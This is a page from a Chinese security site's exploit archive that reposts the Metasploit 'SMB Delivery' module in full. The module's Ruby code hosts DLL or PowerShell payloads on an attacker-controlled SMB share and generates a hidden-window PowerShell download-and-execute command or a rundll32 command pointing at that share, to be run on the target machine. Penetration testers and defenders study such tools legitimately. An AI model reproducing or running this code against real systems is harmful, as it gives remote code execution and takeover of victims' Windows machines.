首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SMB Delivery Module
来源:metasploit.com 作者:Smith 发布时间:2016-08-09  
require 'msf/core'
require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::SMB::Server::Share
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name'           => "SMB Delivery",
      'Description'    => %q{
        This module serves payloads via an SMB server and provides commands to retrieve
        and execute the generated payloads. Currently supports DLLs and Powershell.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Andrew Smith',
          'Russel Van Tuyl'
        ],
      'References'     =>
        [
          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
        ],
      'Payload'        =>
        {
          'Space'       => 2048,
          'DisableNops' => true
        },
        'Platform'       => 'win',
        'Targets'        =>
          [
            ['DLL', {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X86_64]
            }],
            ['PSH', {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X86_64]
            }]
          ],
        'Privileged'     => false,
        'DisclosureDate' => "Jul 26 2016",
        'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILE_NAME', [ false, 'DLL file name', 'test.dll'])
      ], self.class)

    deregister_options('FILE_CONTENTS')
  end

  def primer
    print_status('Run the following command on the target machine:')
    case target.name
    when 'PSH'
      self.file_contents = cmd_psh_payload(  payload.encoded,
                                             payload_instance.arch.first,
                                             remove_comspec: true,
                                             use_single_quotes: true)

      ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
      download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(unc)
      download_and_run = "#{ignore_cert}#{download_string}"
      print_line generate_psh_command_line(  noprofile: true,
                                             windowstyle: 'hidden',
                                             command: download_and_run)
    when 'DLL'
      self.file_contents = generate_payload_dll
      print_line("rundll32.exe #{unc},0")
    end
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Halliburton LogView Pro 9.7.5
·zFTP Client 20061220 - (Connec
·PhpMyAdmin 4.6.2 - Post-Auth R
·Kodi Web Server 16.1 - Denial
·WebKit - TypedArray.fill Memor
·NUUO NVRmini 2 3.0.8 - Remote
·AppArmor securityfs < 4.8 - aa
·NUUO NVRmini 2 3.0.8 - (Add Ad
·Easy File Sharing Web Server 7
·Internet Explorer 11 VBScript
·Drupal Module Coder < 7.x-1.3
·Samsung Security Manager 1.5 A
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved